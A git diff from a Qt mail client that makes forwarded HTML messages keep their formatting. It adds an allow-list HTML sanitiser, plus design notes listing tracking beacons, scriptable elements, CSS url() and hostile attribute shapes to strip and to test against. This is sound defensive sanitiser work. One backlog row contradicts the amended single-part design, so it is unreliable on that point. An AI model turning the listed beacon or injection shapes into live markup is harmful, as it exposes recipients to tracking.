diff options
| -rw-r--r-- | CHANGELOG.md | 21 | ||||
| -rw-r--r-- | docs/superpowers/plans/2026-08-03-post-0.1.0-usability-closed.md | 153 | ||||
| -rw-r--r-- | docs/superpowers/plans/2026-08-03-post-0.1.0-usability.md | 114 | ||||
| -rw-r--r-- | docs/superpowers/specs/2026-08-27-forward-html-design.md | 181 | ||||
| -rw-r--r-- | src/CMakeLists.txt | 1 | ||||
| -rw-r--r-- | src/composecontext.cpp | 21 | ||||
| -rw-r--r-- | src/composewindow.cpp | 178 | ||||
| -rw-r--r-- | src/composewindow.h | 31 | ||||
| -rw-r--r-- | src/htmlsanitiser.cpp | 336 | ||||
| -rw-r--r-- | src/htmlsanitiser.h | 84 | ||||
| -rw-r--r-- | src/messagebuilder.cpp | 35 | ||||
| -rw-r--r-- | src/types.h | 15 | ||||
| -rw-r--r-- | tests/CMakeLists.txt | 1 | ||||
| -rw-r--r-- | tests/test_composecontext.cpp | 53 | ||||
| -rw-r--r-- | tests/test_composewindow.cpp | 199 | ||||
| -rw-r--r-- | tests/test_htmlsanitiser.cpp | 249 | ||||
| -rw-r--r-- | tests/test_mainwindow.cpp | 26 | ||||
| -rw-r--r-- | tests/test_messagebuilder.cpp | 100 | ||||
| -rw-r--r-- | translations/qtmaildir_it_IT.ts | 26 |
19 files changed, 1749 insertions, 75 deletions
diff --git a/CHANGELOG.md b/CHANGELOG.md index 69b09b9..062fa8e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -96,6 +96,27 @@ point at which they are stable. ### Fixed +- **Forwarding an HTML message kept its formatting.** A forward carried only + the plain-text version of the original, so tables, emphasis and layout were + flattened, and a message with no plain-text part at all (about one in eleven + of the mail measured here) forwarded as an empty quote with its content + silently gone. A forward now carries the original's own HTML when **Send as + HTML** is on, and the text version when it is off: one or the other, chosen + by that toggle, rather than both. + + On a forward that carries HTML, the message being forwarded is shown in its + own pane beside what you are writing, at a 60/40 split, with a toggle under + **Format** to close it. The editor holds your own note only, so everything + you can edit is something that gets sent. A plain-text forward is unchanged + and still quotes into the editor as before. + + **Remote content is stripped by default.** Images and styles loaded from the + internet are removed before the forward is sent, so the sender of the + original cannot learn that you forwarded it or that your recipient opened + it. A checkbox on the forward lets you keep them for a sender you trust; it + appears only when there is something to strip. Inline images that travel + inside the message itself are unaffected and still display. + - **A draft you wrote was marked unread.** Drafts were written to disk without the Maildir "seen" flag, and notmuch tags anything without it `unread`, so a draft you had just typed appeared in the Unread view. It corrected itself diff --git a/docs/superpowers/plans/2026-08-03-post-0.1.0-usability-closed.md b/docs/superpowers/plans/2026-08-03-post-0.1.0-usability-closed.md index 4556b48..77d4726 100644 --- a/docs/superpowers/plans/2026-08-03-post-0.1.0-usability-closed.md +++ b/docs/superpowers/plans/2026-08-03-post-0.1.0-usability-closed.md @@ -8935,3 +8935,156 @@ That is fixed. The reported tag set `draft inbox unread` is fully explained: `unread` from the missing `S` flag on the draft, `inbox` from the arrived message sharing its thread. +## 171. A forwarded HTML message reaches the recipient as plain text + +**Observed (user, from the notes):** "forwarding an html message doesn't +maintain the html formatting of the original message. #bug" + +**Cause (verified in the code, 2026-08-27).** The forward path builds its body +through `ComposeContextBuilder::quoteBody()` (`src/composecontext.cpp`), which +reads `message.plainBody` and nothing else. `MimeParser` parses both halves and +`ParsedMessage` carries `htmlBody` beside `plainBody` (`src/mimeparser.h:150`), +so the HTML is available and simply never asked for. + +Two consequences follow, and they are not the same severity: + +- An original with both parts forwards its text/plain alternative, losing the + sender's formatting. Recoverable-looking, since the words survive. +- An original with an HTML part ONLY has an empty `plainBody`, so the forward + carries the attribution line and an empty quote. The message's content is + gone, and nothing says so. + +`MainWindow::composeReply()` already treats the two kinds differently for the +composer's own HTML state: `context.seedHtml` is the CONFIG's `sendHtml` for a +forward and `original.hasHtml()` for a reply, on the stated reasoning that an +HTML part is a fact about the sender's software. That reasoning is sound for +how the user WRITES and does not decide what the forward CARRIES, which is the +question here. + +**Approach.** The decision comes first; this is not a changed call site. + +A forward is a different act from a reply: the point is to hand somebody else +what arrived, and quoting is the wrong shape for it. Three candidates, in +increasing fidelity: + +- Render `htmlBody` down to text when `plainBody` is empty, so nothing is + silently lost. The smallest fix, and it does not answer the note: formatting + is still gone. +- Carry the original as a `message/rfc822` part, which is what item 130 already + describes and what GMime builds natively. Perfect fidelity, and every + attachment comes with it, but the recipient sees an attached message rather + than a body. +- Build the forward as `multipart/alternative` with the original's HTML nested + in the HTML half, which is what Thunderbird's inline forward does. + +**Constraints.** + +- **The HTML is input from a stranger and the composer is not the message + pane.** The pane's protections (off-the-record profile, JavaScript off, the + interceptor blocking every request) are `MessageView`'s, not + `ComposeWindow`'s. Any route that puts the original's markup into an outgoing + message must decide what it strips, and remote references in particular: + forwarding a tracking pixel forwards the tracking to the new recipient. +- Item 130 overlaps and may subsume this. Decide the two together rather than + building `message/rfc822` twice. +- The markdown body is the composer's source of truth, and markdown has no + syntax for arbitrary HTML the user can then edit. A route that keeps the + original's markup has to keep it OUTSIDE the editable buffer, which is the + same nesting problem item 129 carries. +- `quoteBody()` is shared with Reply. A change there reaches both; the + behaviour asked for is the forward's alone. + +--- + +**BUILT 2026-08-27.** Design in +`docs/superpowers/specs/2026-08-27-forward-html-design.md`, which is the +document to read; this entry records only what changed and what was learned. + +The user chose **carrying the original's markup inline** over attaching the +original as `message/rfc822` (item 130's mechanism, still open for its own +sake) and over a text-only fallback, and chose **strip remote content by +default with a per-forward opt-out** over always stripping and over keeping +everything. + +**Amended the same day, after the first build**: a forward sends ONE part +rather than a `multipart/alternative`, chosen by the Send-as-HTML toggle. The +first build sent both halves and also FORCED html on when there was markup to +carry; both were reversed. A forward's shape is something the user has already +decided by flipping that toggle, and sending both hands the choice to the +recipient's client. The consequence was put to the user explicitly and +accepted: with the toggle off, an HTML-only original forwards as the text +fallback and its formatting is lost. + +Four parts, each independently useful: + +1. **`HtmlSanitiser`** (`src/htmlsanitiser.h/.cpp`), a namespace of free + functions so the security property is testable without a widget. +2. **`quoteBody()`'s empty-plain fallback**, via + `QTextDocumentFragment::fromHtml().toPlainText()`. Closes the silent half + on its own. +3. **The MIME nesting** in `MessageBuilder`, asserted by parsing the result + back through `MimeParser` rather than by reading the RFC. +4. **The composer control**, created only when the original actually carries + remote content. + +**The allow-list rule is the part to preserve.** `HtmlBuilder::namespaceCids()` +is a block-list and documents scoping `srcset=` out; that trade is right for +rewriting and wrong for stripping, because a missed rewrite is a broken image +and a missed strip is a beacon reaching the recipient. `HtmlSanitiser` judges +every attribute by its VALUE, so `srcset`, `poster`, `data-*` and whatever HTML +adds next are handled by the default, which is removal. + +**A real bug was caught by the tests and is worth recording**: the walk used +`QRegularExpression::globalMatch()` while also advancing `pos` past a removed +element's content. `globalMatch` iterates over matches found against the +ORIGINAL string, so it handed back tags from inside the region just skipped; +the output duplicated content and an `<iframe>` survived. It matches by hand +from `pos` now. A tidy test would not have found this: it needed a removed +element with content, mid-document, followed by more markup. + +**Measured, not assumed:** 30 of 342 sampled inbox messages (~9%) declare +`text/html` with no `text/plain`, so the silent-loss half was not an edge case. + +**Hand-tested 2026-08-27, and it found two defects, the second of which +changed the design.** + +1. The original shipped TWICE inside the one HTML part: the composer seeds the + text quote into the editable body, so `markdownBody` already carried a + flattened copy, and the markup was appended to it. It read as two messages + stacked, the first with its URLs naked and mangled. A screenshot of a real + forward is what showed it; no test had covered the composer and the builder + together. + +2. The first fix subtracted the quote in `MessageBuilder`. **The user rejected + it**: the quote was still shown in the composer and no longer sent, so it + could be edited and the edits silently discarded. "If it is in the composer + but it's not sent, is worse." That is the right objection and the general + principle behind it, **what the composer shows must be what gets sent**, is + what the design now follows. + +So an HTML forward **does not seed a text quote at all**. The buffer holds the +user's own note alone, and the forwarded message appears in a read-only pane +BESIDE the editor, a `QSplitter` at 60/40 with a toggle in the Format menu (the +user's chosen arrangement). A plain forward is untouched: its quote is in the +buffer, where it is both editable and sent, so WYSIWYG already held there. + +The pane is a `QTextBrowser`, not a `QWebEngineView`: a web view would mean a +second Chromium render process per composer and a second copy of MessageView's +protections. The cost is that Qt's HTML subset is narrower than a mail +client's, so the pane shows the original ROUGHLY. Its label says the message +is sent as it arrived, so the pane is not mistaken for what travels. + +**The user asked for a real rich-text composer as the proper answer**, recorded +as item 173, which supersedes this middle ground and subsumes item 133. + +Two test traps hit while building it, both already in CLAUDE.md and both hit +anyway: the offscreen platform gives a `QSplitter` no width, so `sizes()` +reports 49/49 whatever the code asks and a pixel assertion fails against +correct code (assert the stretch factors, which land in the child's size +policy since `QSplitter` has no getter); and moving the editor into a splitter +broke `theComposerSplitsItsToolbarByScope`, which looked for the body directly +in the composer's column. + +Still to do: the hand test of the new arrangement. Forward a real HTML message +with the box checked and unchecked and confirm what arrives. + diff --git a/docs/superpowers/plans/2026-08-03-post-0.1.0-usability.md b/docs/superpowers/plans/2026-08-03-post-0.1.0-usability.md index fddb746..9cb8ba9 100644 --- a/docs/superpowers/plans/2026-08-03-post-0.1.0-usability.md +++ b/docs/superpowers/plans/2026-08-03-post-0.1.0-usability.md @@ -202,7 +202,7 @@ taking that too literally. | 130 | A message cannot be attached to another message directly | v2 | S | open, 2026-08-20, from the item 123 brainstorm. **Blocked on 123.** A `message/rfc822` part, which GMime builds natively. The manual route exists from 123's first commit: `save_message` writes the `.eml` and it is attached as a file | | 131 | The markdown dialect and extensions are fixed | v2 | S | open, 2026-08-20, from the item 123 brainstorm. **Blocked on 123.** Configurable in the shape Hugo's config uses. Deliberately fixed initially: CommonMark plus autolink, strikethrough and tasklist | | 132 | Every action must have a shortcut, and that no longer serves | policy | S | done, 2026-08-20. `everyActionHasAShortcut` is deleted and nothing replaces it: `everyActionIsReachableFromAMenu()` is the required rule and a shortcut is now a chosen subset. Nothing else needed changing, since `showShortcutReference()` already printed `(unbound)` for an empty sequence. Verified by unbinding `tag_rules` and running the suite green, which would have failed before | -| 133 | The composer shows no markdown syntax highlighting | v2 | S | open, 2026-08-20, from the item 123 brainstorm. **Blocked on 123.** A `QSyntaxHighlighter` over the composer's editor, so `**bold**` reads as bold while the buffer stays plain markdown. Standard Qt, no dependency. Deliberately after 123's formatting toolbar: agreeing with the grammar about nesting and about code spans suppressing what is inside them is the expensive part, and the toolbar is what makes the feature usable | +| 133 | The composer shows no markdown syntax highlighting | v2 | S | open, 2026-08-20, from the item 123 brainstorm. **Blocked on 123.** A `QSyntaxHighlighter` over the composer's editor, so `**bold**` reads as bold while the buffer stays plain markdown. Standard Qt, no dependency. Deliberately after 123's formatting toolbar: agreeing with the grammar about nesting and about code spans suppressing what is inside them is the expensive part, and the toolbar is what makes the feature usable . **Subsumed by item 173** 2026-08-27: that is a rich-text editor, this is the cheap answer to the same want. Build one or the other, never both | | 134 | The busy indicator is built inline and is about to be built twice | maintenance | S | done, 2026-08-20, af902e0. `BusyIndicator` (`src/busyindicator.h`) carries both modes: `MainWindow` uses the indeterminate one, and item 123's send popup takes the determinate half for its undo countdown, switching the same widget over when the command starts. Only the BAR was extracted, not the status label this row paired with it. `m_statusLabel` has 34 uses across `MainWindow` for transient messages, selection counts and sync phases, so it belongs to the window rather than to the indicator, and the send popup owns its own phase text | | 135 | The formatting toolbar's buttons stack rather than toggle | v2 | S | open, 2026-08-21, asked for by the user during item 123 task 8 and reverted the same session. **A spec change, not a defect**: it conflicts with spec:236 ("deliberately no live toggle") and spec:187-190. Both sites need amending FIRST, and the amendment must resolve what replaces bold-then-italic, which is the gesture spec:187's preserved selection exists to serve and which a toggle makes unreachable. That question is the work; the state machine is understood and written up in the section | | 136 | `undoMovesTheMessageBack` fails when run ALONE, passes in the full suite | defect | ? | open, 2026-08-21, re-measured 2026-08-24 and it is not what the row said. Filed as an intermittent race (1 in 6); it is in fact **deterministic on the selection**: 6 failures in 6 when named on the command line, and, as of 2026-08-24, it fails in the FULL run too: measured at 58f13ad with the day's work stashed out, 274 passed and this one failed. The "passes in the suite" half of this row is therefore no longer true, and the selection-dependence it was named for may not be either. Re-measure before theorising. All three of its 15s `QTRY` timeouts expire, giving 45s against a 25s whole-suite run, so undo never moves the file rather than losing a race. A test that needs its predecessors is the likely shape (the `init()` lock-table fixture of item 61 is one candidate), which makes it a TEST defect until shown otherwise. Not caused by item 149, and re-confirmed 2026-08-24 as not caused by item 152 either, by running the test at the preceding commit in a throwaway worktree. The assertion that fails names the real question: the restored file is in NEITHER `cur` nor `new` of the account inbox, so establish where it went before theorising about a race | @@ -244,8 +244,9 @@ taking that too literally. | 168 | Delete is offered on mail already in the trash, and does nothing | defect | S | **done 2026-08-25**, unreleased. Delete is hidden when every selected row is already in its account's trash, Restore when none is, both keyed on the PATH rather than the `deleted` tag. Delete also drops `unread` now, in the same TagChange so one undo returns the folder and the tag together | | 169 | A card shows the account only as a bar, with no fade and no avatar | presentation | M | **done** 2026-08-26, unreleased, on `card-avatars`, merged fast-forward. Both halves: a `QLinearGradient` from the account colour to the pane's base across the card, and a squircle avatar with initials, given a rect in `CardLayout` so the geometry is asserted without a painter. **Hand-testing found four defects**, all fixed in 9ae43f9: `Avatar::initialsFor()` normalises the display name first (drops the angle-addr, takes the first comma-separated author, unwraps quotes, treats a bare address as no name, requires a word to carry a letter or digit); the two-tone gradient axis spans the DIAMETER rather than a radius, which was letting one hue fill the whole face; the account fade runs right to left, anchored opaque at the card's right edge; and a flat view hashes `ThreadSummary::firstMessageRecipient` rather than the user's own address. The vCard half stays blocked on item 72 | | 170 | A row that stops matching the view only leaves it on the Delete path | defect | S | open, 2026-08-26, from the notes, **cause found the same day and the premise is NOT stale**. The optimistic REPAINT is universal; the optimistic MEMBERSHIP is not. `removeThreadsWithoutTag()` has exactly one caller, on the move path, so marking a message read in the Unread view repaints the row and leaves it in a list it no longer belongs to | -| 171 | A forwarded HTML message reaches the recipient as plain text | defect | S | open, 2026-08-27, from the notes. `ComposeContextBuilder::quoteBody()` reads `ParsedMessage::plainBody` only, so the original's `htmlBody` is dropped whatever the composer's own Send-as-HTML state is. Needs a DECISION on what a forward carries before any code, see the entry | +| 171 | A forwarded HTML message reaches the recipient as plain text | defect | M | **done** 2026-08-27, unreleased. Design in `specs/2026-08-27-forward-html-design.md`. The user chose inline `multipart/alternative` over attaching the original, and remote content stripped by default with a per-forward opt-out. Four parts: `HtmlSanitiser` (an ALLOW-LIST, unlike `namespaceCids()`, because a missed strip is a beacon where a missed rewrite is a broken image), a text fallback for the ~9% of mail with no plain part, the MIME nesting, and the composer control | | 172 | A draft this application writes is tagged `unread` | defect | XS | **done** 2026-08-27, unreleased. `DraftStore::write()` was called with `"D"`, and `maildir.synchronize_flags` makes notmuch tag anything without `S` as `unread`. Self-healing on the next sync of that folder, which is what made it look intermittent | +| 173 | The composer is a plain-text editor, not WYSIWYG | v2 | L | open, 2026-08-27, **asked for by the user** while hand-testing 171. This is a GUI mail client and should edit rich text the way one does: the forwarded original, and the user's own formatting, visible and editable in place. Supersedes the preview 171 shipped as a middle ground, and **subsumes item 133** (markdown syntax highlighting), which is the same want answered cheaply. See the entry: the draft format and the markdown-as-source-of-truth model both change | Sizes are rough: XS under an hour, S a sitting, M a session. @@ -1210,61 +1211,54 @@ every tag write passes. Move it, or call it from both send paths. - Undo goes back through the same funnel, so a removal must not make an undone mark-read invisible in the view it was undone in. -## 171. A forwarded HTML message reaches the recipient as plain text - -**Observed (user, from the notes):** "forwarding an html message doesn't -maintain the html formatting of the original message. #bug" - -**Cause (verified in the code, 2026-08-27).** The forward path builds its body -through `ComposeContextBuilder::quoteBody()` (`src/composecontext.cpp`), which -reads `message.plainBody` and nothing else. `MimeParser` parses both halves and -`ParsedMessage` carries `htmlBody` beside `plainBody` (`src/mimeparser.h:150`), -so the HTML is available and simply never asked for. - -Two consequences follow, and they are not the same severity: - -- An original with both parts forwards its text/plain alternative, losing the - sender's formatting. Recoverable-looking, since the words survive. -- An original with an HTML part ONLY has an empty `plainBody`, so the forward - carries the attribution line and an empty quote. The message's content is - gone, and nothing says so. - -`MainWindow::composeReply()` already treats the two kinds differently for the -composer's own HTML state: `context.seedHtml` is the CONFIG's `sendHtml` for a -forward and `original.hasHtml()` for a reply, on the stated reasoning that an -HTML part is a fact about the sender's software. That reasoning is sound for -how the user WRITES and does not decide what the forward CARRIES, which is the -question here. - -**Approach.** The decision comes first; this is not a changed call site. - -A forward is a different act from a reply: the point is to hand somebody else -what arrived, and quoting is the wrong shape for it. Three candidates, in -increasing fidelity: - -- Render `htmlBody` down to text when `plainBody` is empty, so nothing is - silently lost. The smallest fix, and it does not answer the note: formatting - is still gone. -- Carry the original as a `message/rfc822` part, which is what item 130 already - describes and what GMime builds natively. Perfect fidelity, and every - attachment comes with it, but the recipient sees an attached message rather - than a body. -- Build the forward as `multipart/alternative` with the original's HTML nested - in the HTML half, which is what Thunderbird's inline forward does. - -**Constraints.** - -- **The HTML is input from a stranger and the composer is not the message - pane.** The pane's protections (off-the-record profile, JavaScript off, the - interceptor blocking every request) are `MessageView`'s, not - `ComposeWindow`'s. Any route that puts the original's markup into an outgoing - message must decide what it strips, and remote references in particular: - forwarding a tracking pixel forwards the tracking to the new recipient. -- Item 130 overlaps and may subsume this. Decide the two together rather than - building `message/rfc822` twice. -- The markdown body is the composer's source of truth, and markdown has no - syntax for arbitrary HTML the user can then edit. A route that keeps the - original's markup has to keep it OUTSIDE the editable buffer, which is the - same nesting problem item 129 carries. -- `quoteBody()` is shared with Reply. A change there reaches both; the - behaviour asked for is the forward's alone. +## 173. The composer is a plain-text editor, not WYSIWYG + +**Observed (user, 2026-08-27):** asked for directly while hand-testing item +171. "This is a GUI mail client and should have a wysiwyg editor." + +**Where it came from.** Item 171 forwards an HTML message by carrying the +original's markup, and the markup cannot be shown in a `QPlainTextEdit`. The +first build seeded a text quote into the editable buffer and then dropped it +when building the HTML part, so the user could edit a quote whose edits were +silently discarded. The user's objection is the right one and is more general +than that bug: **what the composer shows should be what gets sent.** + +171 shipped the middle ground, a read-only preview beside the editor. This +item is the real answer. + +**Cause (verified in the code).** The composer is a `QPlainTextEdit` over +markdown, deliberately: `OutgoingMessage::markdownBody` is "the source text, +exactly as typed", `MarkdownRenderer` turns it into HTML at build time, and +`DraftStore` autosaves that same markdown. There is nowhere in that model for +a stranger's markup, or for the user's own rich text, to live and be edited. + +**Approach.** A rich-text editor for the body, which is what every graphical +mail client does. Thunderbird is the reference: forwarding HTML opens a +rich-text composer with the original inside it, editable. + +**This is not a widget swap, and the constraints are why it is L.** + +- **The draft format changes.** A draft currently round-trips as markdown; a + rich-text composer means storing HTML, and a draft written by one and read + by the other loses formatting silently. Items 163 and 165 are already about + draft identity and are worth settling first. +- **`QTextEdit`'s HTML subset is narrow.** It is not a browser: real + newsletter markup (tables, modern CSS) degrades in it. So a naive swap makes + the FIDELITY of a forward worse than what 171 currently sends, while making + the editing better. Measure before committing to it. +- **The formatting toolbar has two masters.** `MarkdownFormat` answers "what + does this button do to a selection" over markdown text. A rich-text editor + has its own notion, and the toolbar must drive whichever is active without + the two disagreeing. +- **Plain text must stay reachable.** Not every message should be HTML, and + the `send_html` config default plus the per-message toggle both already say + so. A rich-text composer that cannot produce clean plain text regresses the + common case. +- **The security work does not go away.** A forwarded original is still input + from a stranger. Whatever renders it for editing must not fetch remote + content, and `HtmlSanitiser` (item 171) is what already answers that. + +**It subsumes item 133**, markdown syntax highlighting: that is a +`QSyntaxHighlighter` over the plain editor, which is the cheap answer to the +same want ("show me what I am writing"). If this is built, 133 is moot; if +this is deferred, 133 is the thing to do instead. Do not build both. diff --git a/docs/superpowers/specs/2026-08-27-forward-html-design.md b/docs/superpowers/specs/2026-08-27-forward-html-design.md new file mode 100644 index 0000000..a71cc54 --- /dev/null +++ b/docs/superpowers/specs/2026-08-27-forward-html-design.md @@ -0,0 +1,181 @@ +# Forwarding an HTML message with its formatting + +Item 171. Design, 2026-08-27. **Read this before the backlog row**, which +records only the cause. + +## The defect + +`ComposeContextBuilder::quoteBody()` reads `ParsedMessage::plainBody` and +nothing else, so the forward path drops the original's `htmlBody` entirely. +Two consequences, and they are not the same severity: + +- An original with both parts forwards its text/plain alternative. The words + survive, the sender's formatting does not. This is what the user reported. +- **An original with an HTML part ONLY has an empty `plainBody`**, so the + forward carries an attribution line and an empty quote. The content is gone + and nothing says so. + +Measured on the developer's own inbox 2026-08-27: **30 of 342 sampled +messages** (~9%) declare `text/html` with no `text/plain` part. The silent +half is not an edge case. + +## What was decided, and by whom + +The user chose, 2026-08-27, from three routes put to them: + +1. **Inline, carrying the original's markup** — CHOSEN. The forward carries + the original's own HTML rather than a flattened quote. Highest inline + fidelity, and the most work, because it is the only route that puts a + stranger's markup into an outgoing message. + + **Amended 2026-08-27, after the first build**: a forward sends ONE part, + not a `multipart/alternative`. The Send-as-HTML toggle chooses which — the + original's markup when on, the text quote when off. The user's reasoning is + that a forward's shape is something they have already decided by flipping + that toggle, and sending both halves hands the choice to the recipient's + client instead. An ordinary (non-forward) message still sends the + alternative as before; only the forward path is single-part. +2. Attach the original as `message/rfc822` (item 130's mechanism). Rejected + here, though item 130 may still build it for its own sake: the user wants + the content inline, not as an attachment. +3. Text fallback only. Rejected: it fixes the silent-loss half and does not + answer the note at all, since formatting is still lost on every forward. + +**Remote content is STRIPPED BY DEFAULT, with a per-forward opt-out**, also +the user's choice against "always strip" and "keep everything". A control in +the composer, checked by default, reading roughly "Strip remote content from +the forwarded message". + +## Why this is the security-critical item in the backlog + +Every other HTML path in this application renders a stranger's markup *to the +user*, behind protections that live in `MessageView`: an off-the-record +profile, JavaScript disabled, and `RequestInterceptor` blocking every request +by default and failing closed. + +**None of those protections apply here.** The markup leaves this process and +is rendered by somebody else's mail client, under their policy, on their +machine. The interceptor cannot help: it intercepts requests *we* would make. +So the sanitising has to happen to the bytes, before they are handed to +`MessageSender`, and there is no second line of defence behind it. + +The concrete harm, in the user's own words when the decision was put to them: +forwarding a tracking pixel forwards the tracking. The original sender learns +that the forwarded copy was opened, by whom, and how many times, and the +user's recipient never consented to that. + +## The allow-list rule, which is not negotiable + +`HtmlBuilder::namespaceCids()` is the closest prior art and it is a +**block-list**: it names the attributes that can carry a `cid:` and rewrites +those. It documents scoping `srcset=` out, on the reasoning that its quoting +grammar differs and `cid:` in `srcset` is not seen in the wild. + +**That trade is correct for rewriting and WRONG for stripping**, and the +asymmetry is the whole design: + +| | a missed reference means | +|---|---| +| `namespaceCids` (rewrite) | one broken image | +| this sanitiser (strip) | a tracking beacon reaching the recipient | + +So the sanitiser must **allow-list what may remain**, not block-list what must +go. Anything not recognised is removed. A new HTML attribute, a quoting form +not anticipated, a `srcset`, a CSS `image-set()`, an `@import` — each is +handled by the default, which is removal, rather than by having been +enumerated in advance. + +Stated as the invariant to test against: **after sanitising, no attribute +value and no CSS construct in the output may contain a URL whose scheme is +anything other than `cid:`, and no element that fetches may remain without +one.** + +## What is kept and what goes + +Kept: + +- `cid:` references. They travel inside the message, fetch nothing, and are + what makes an inline logo survive. Item 129 will need the same machinery. +- Structural and presentational markup: tables, lists, headings, spans, + `style=""` attributes with their remote constructs removed. + +Removed: + +- Any `src`, `href`, `background`, `poster`, `srcset`, `data-*` or other + attribute value carrying a non-`cid:` URL scheme. `http:`, `https:`, + `//host/path`, `data:` (which can carry markup), `file:` above all. +- `<link>`, `<script>`, `<iframe>`, `<object>`, `<embed>`, `<base>`, and + `<meta http-equiv="refresh">`. +- CSS `url()`, `@import` and `image-set()` naming anything but a `cid:`, + whether in a `style=""` attribute or a `<style>` block. +- Event-handler attributes (`onload`, `onerror`, …). The recipient's client + most likely disables scripting, but that is their policy and not ours to + assume. + +A stripped `<img>` leaves a gap where the image was. That is the correct +outcome and should not be papered over with a placeholder that itself fetches. + +## Shape of the change + +- **`HtmlSanitiser`, a new namespace of free functions over values** + (`src/htmlsanitiser.h/.cpp`), matching `MarkdownRenderer` and + `MessageBuilder`. No widget, so the security property is testable without a + painter or a web engine. This is where the allow-list lives. +- **`OutgoingMessage` gains the forwarded HTML and the strip flag.** It + currently carries `markdownBody` and `sendHtml` only, so there is nowhere to + put a second HTML source; both are new fields rather than a changed call + site. +- **`MessageBuilder::build()` chooses the part.** On a forward with the toggle + ON, the body is one `text/html` part: the user's rendered markdown, a rule, + then the sanitised original. With the toggle OFF it is one `text/plain` part + carrying the markdown and the text quote. No alternative either way. + + **The toggle is honoured even when the original had no plain-text part**, so + an HTML-only original forwarded with the toggle off goes out as the text + fallback and its formatting is lost. Chosen deliberately 2026-08-27 over + forcing HTML for those messages, so that the toggle means what it says; the + first build forced it and that was reversed. +- **`quoteBody()` is not the fix and must not become it.** It is shared with + Reply, and the behaviour asked for is the forward's alone. It keeps + producing the text quote for the plain half. Its one change is the + silent-loss case: when `plainBody` is empty it should render `htmlBody` down + to text rather than emitting an empty quote, so the plain half is never + blank. +- **The composer control** sits with the existing per-message toggles, checked + by default, and only appears on a Forward carrying HTML. + +## Traps recorded in advance + +- **`quoteBody()` is shared with Reply.** A change there reaches both paths. +- **`QString::arg()` does not collapse `%%`.** CLAUDE.md records the 0.11.0 + placeholder losing its mask, its glow and both gradients this way while + still painting a plausible pane. Any generated CSS here is subject to it. +- **A geometry or rendering probe cannot see this.** The property under test + is "no remote URL survives", which is a property of the STRING. Assert on + the generated bytes. CLAUDE.md's "Rendering probes lie" section is the + general warning; here a probe that renders the result and looks at it would + endorse a tracking pixel it cannot see, because a 1x1 transparent image is + invisible by design. +- **Test with real hostile shapes**, not tidy markup: unquoted attribute + values (`<img src=http://x/p>`), mixed quoting, whitespace and newlines + around `=`, uppercase tags and attributes, a `cid:` whose id contains a + URL-looking substring, and a `style` attribute carrying `url(...)` with no + quotes. `namespaceCids()` documents each of these forms as real. +- **`MimeParser` must parse what we build.** A round trip through + `MessageBuilder` and back is the check that the nesting is right, and it is + cheaper than reading the RFC. + +## Order of work + +1. `HtmlSanitiser` with the allow-list, tested against the hostile shapes + above. Nothing else depends on decisions inside it. +2. `quoteBody()`'s empty-plain fallback, which closes the silent-loss half on + its own and is independently useful. +3. `OutgoingMessage` fields and the `MessageBuilder` nesting, with a + parse-back round trip. +4. The composer control, defaulting to strip. +5. Hand test: forward a real HTML message to yourself with the box checked and + unchecked, and confirm what arrives. + +Steps 1 and 2 are separable and each ship a real improvement, so this does not +have to land as one commit. diff --git a/src/CMakeLists.txt b/src/CMakeLists.txt index 591e95f..85b5e56 100644 --- a/src/CMakeLists.txt +++ b/src/CMakeLists.txt @@ -6,6 +6,7 @@ add_library(qtmaildir_lib STATIC messagebuilder.cpp requestinterceptor.cpp htmlbuilder.cpp + htmlsanitiser.cpp cidschemehandler.cpp cardlayout.cpp avatar.cpp diff --git a/src/composecontext.cpp b/src/composecontext.cpp index 2dfee53..b02b790 100644 --- a/src/composecontext.cpp +++ b/src/composecontext.cpp @@ -30,6 +30,7 @@ #include <QDir> #include <QSet> #include <QRegularExpression> +#include <QTextDocumentFragment> namespace { @@ -630,10 +631,28 @@ QString ComposeContextBuilder::quoteBody(const ParsedMessage &message) .arg(message.date, message.from)); quoted.append(QString()); + // Item 171's silent half. An HTML-only original has an EMPTY plainBody, so + // quoting it produced an attribution line and nothing else: the content + // was gone with nothing to say so. Measured 2026-08-27, ~9% of the + // developer's inbox declares text/html with no text/plain. + // + // Only when there is no plain part. Rendering the HTML over a real plain + // part would change every ordinary reply, and the sender's own plain text + // is what they meant a text reader to see. + // + // QTextDocumentFragment, not a hand-written stripper: it is already + // linked, it decodes entities and collapses whitespace the way a reader + // expects, and reaching for a regex here would be re-implementing a parser + // badly. This restores the WORDS only; preserving the formatting is the + // multipart/alternative half of item 171. + QString source = message.plainBody; + if (source.isEmpty() && !message.htmlBody.isEmpty()) + source = QTextDocumentFragment::fromHtml(message.htmlBody).toPlainText(); + // Normalised to LF first. A CRLF body split on '\n' alone leaves a // carriage return at the end of every line, which survives into the sent // message as a stray CR in the middle of a quoted line. - QString body = message.plainBody; + QString body = source; body.replace(QStringLiteral("\r\n"), QStringLiteral("\n")); body.replace(QLatin1Char('\r'), QLatin1Char('\n')); diff --git a/src/composewindow.cpp b/src/composewindow.cpp index 9bcfab3..7952efa 100644 --- a/src/composewindow.cpp +++ b/src/composewindow.cpp @@ -21,6 +21,10 @@ #include <QTemporaryDir> #include "draftstore.h" +#include "htmlsanitiser.h" +#include <QCheckBox> +#include <QTextBrowser> +#include <QSplitter> #include "maildirname.h" #include "messagebuilder.h" #include "mimeparser.h" @@ -134,6 +138,16 @@ ComposeWindow::ComposeWindow(const ComposeContext &context, buildUi(); buildFormatToolbar(); + + // BEFORE buildMenuBar() and seedBody(). The menus show the pane toggle, so + // the preview that owns it must exist first; and seedBody() needs to know + // whether this forward carries markup, because an HTML forward does not + // seed a text quote at all (the buffer would then show something the sent + // message does not contain). + readForwardedHtml(); + buildStripRemoteControl(); + buildForwardPreview(); + // AFTER buildFormatToolbar(): the menus show its actions, so they must // exist before a menu can hold them. buildMenuBar(); @@ -147,6 +161,7 @@ ComposeWindow::ComposeWindow(const ComposeContext &context, // on it, which is precisely the defect this fixes. extractForwardedAttachments(); + refreshAttachmentList(); // Seeding is not an edit. Every field was just filled from the context, so @@ -173,6 +188,127 @@ ComposeWindow::ComposeWindow(const ComposeContext &context, ComposeWindow::~ComposeWindow() = default; +void ComposeWindow::readForwardedHtml() +{ + if (m_context.kind != ComposeContext::Kind::Forward + || m_context.originalPath.isEmpty()) { + return; + } + + MimeParser parser; + const ParsedMessage original = parser.parse(m_context.originalPath); + if (original.ok) + m_forwardedHtmlRaw = original.htmlBody; +} + +void ComposeWindow::buildForwardPreview() +{ + if (m_forwardedHtmlRaw.isEmpty()) + return; + + m_forwardPreview = new QWidget(centralWidget()); + 